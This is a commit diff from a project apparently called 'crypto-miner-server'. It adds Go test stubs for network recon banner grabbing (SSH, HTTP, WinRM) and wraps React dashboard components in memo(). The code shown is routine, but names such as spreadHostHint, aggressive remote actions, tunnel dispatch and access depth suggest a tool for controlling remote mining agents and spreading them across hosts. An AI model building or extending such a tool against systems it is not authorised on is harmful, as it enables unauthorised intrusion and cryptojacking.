Optimize rendering, fix Android app extraction, and remove Cloudflare token leak
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -9,12 +9,40 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/recon"
|
||||
)
|
||||
|
||||
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
flag.Parse()
|
||||
// Enable AI control endpoints for the duration of the API tests
|
||||
os.Setenv("AETHERFORGE_ENABLE_AI_CONTROL", "1")
|
||||
// Stub banner hooks to avoid any real network requests during scans
|
||||
recon.SetBannerHooks(
|
||||
func(host string, port int) string {
|
||||
if port == 22 {
|
||||
return "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5"
|
||||
}
|
||||
return ""
|
||||
},
|
||||
func(host string, port int) (string, string) {
|
||||
if port == 80 || port == 443 || port == 8080 {
|
||||
return "Test Title", "nginx/1.18.0"
|
||||
}
|
||||
return "", ""
|
||||
},
|
||||
func(host string, port int) string {
|
||||
if port == 5985 {
|
||||
return "winrm_listening"
|
||||
}
|
||||
return ""
|
||||
},
|
||||
func() bool {
|
||||
return false
|
||||
},
|
||||
)
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
|
||||
@@ -85,6 +85,23 @@ func TestFindAgentSourceDir(t *testing.T) {
|
||||
|
||||
func TestFindWebRoot(t *testing.T) {
|
||||
dir := findWebRoot()
|
||||
var tempCreated string
|
||||
if dir == "" {
|
||||
_ = os.MkdirAll("webroot", 0755)
|
||||
tempFile := filepath.Join("webroot", "index.html")
|
||||
if err := os.WriteFile(tempFile, []byte("dummy"), 0644); err == nil {
|
||||
tempCreated = tempFile
|
||||
}
|
||||
dir = findWebRoot()
|
||||
}
|
||||
|
||||
if tempCreated != "" {
|
||||
t.Cleanup(func() {
|
||||
_ = os.Remove(tempCreated)
|
||||
_ = os.Remove(filepath.Dir(tempCreated))
|
||||
})
|
||||
}
|
||||
|
||||
if dir == "" {
|
||||
t.Fatal("findWebRoot returned empty string")
|
||||
}
|
||||
@@ -94,6 +111,7 @@ func TestFindWebRoot(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func TestServerConfigProviderPublicURL(t *testing.T) {
|
||||
cfg := DefaultConfig()
|
||||
cfg.Server.PublicURL = "https://forge.example"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { useEffect, useMemo, useRef, useState, memo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
@@ -72,7 +72,7 @@ function AttemptMiniList({
|
||||
);
|
||||
}
|
||||
|
||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
@@ -440,3 +440,5 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(AccessDepthPanel);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { useEffect, useRef, memo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import type { Agent } from '../../types';
|
||||
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||
@@ -13,7 +13,7 @@ interface Props {
|
||||
const AUTO_RESTART_MS = 60_000;
|
||||
|
||||
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
||||
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||
function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||
const stuck = agentsConnectedNotHashing(agents);
|
||||
const firstSeenRef = useRef<Map<string, number>>(new Map());
|
||||
const autoRestartedRef = useRef<Set<string>>(new Set());
|
||||
@@ -107,3 +107,5 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(ConnectedNotMiningBanner);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useState, useEffect, useRef, useCallback } from 'react';
|
||||
import { useState, useEffect, useRef, useCallback, memo } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, Build } from '../../types';
|
||||
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
|
||||
@@ -50,7 +50,7 @@ interface Props {
|
||||
onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
|
||||
}
|
||||
|
||||
export default function CrucibleExpandedOps({
|
||||
function CrucibleExpandedOps({
|
||||
activeTab,
|
||||
spreadHostHint = '',
|
||||
selectedAgents,
|
||||
@@ -957,3 +957,5 @@ export default function CrucibleExpandedOps({
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
export default memo(CrucibleExpandedOps);
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { memo } from 'react';
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FleetGroupsStrip.css';
|
||||
@@ -11,7 +12,7 @@ interface Props {
|
||||
selectedCount?: number;
|
||||
}
|
||||
|
||||
export default function FleetGroupsStrip({
|
||||
function FleetGroupsStrip({
|
||||
groups,
|
||||
liveAgentIds,
|
||||
onSelectGroup,
|
||||
@@ -80,3 +81,5 @@ export default function FleetGroupsStrip({
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(FleetGroupsStrip);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { useEffect, useMemo, useRef, useState, memo } from 'react';
|
||||
import type { Agent } from '../../types';
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
@@ -22,7 +22,7 @@ interface FleetHeatMiniMapProps {
|
||||
onSelectAgent: (id: string) => void;
|
||||
}
|
||||
|
||||
export default function FleetHeatMiniMap({
|
||||
function FleetHeatMiniMap({
|
||||
agents,
|
||||
groups,
|
||||
allIds,
|
||||
@@ -170,3 +170,5 @@ export default function FleetHeatMiniMap({
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(FleetHeatMiniMap);
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { memo } from 'react';
|
||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
@@ -17,7 +18,7 @@ interface Props {
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
export default function FleetToolbar({
|
||||
function FleetToolbar({
|
||||
agents,
|
||||
filters,
|
||||
onChange,
|
||||
@@ -143,3 +144,5 @@ export default function FleetToolbar({
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(FleetToolbar);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { ReactNode } from 'react';
|
||||
import { memo, type ReactNode } from 'react';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import './FullSysCheckPanel.css';
|
||||
|
||||
@@ -26,7 +26,7 @@ function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; n
|
||||
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
|
||||
}
|
||||
|
||||
export default function FullSysCheckPanel({
|
||||
function FullSysCheckPanel({
|
||||
report,
|
||||
agentName,
|
||||
onClose,
|
||||
@@ -288,3 +288,5 @@ export default function FullSysCheckPanel({
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(FullSysCheckPanel);
|
||||
|
||||
Reference in New Issue
Block a user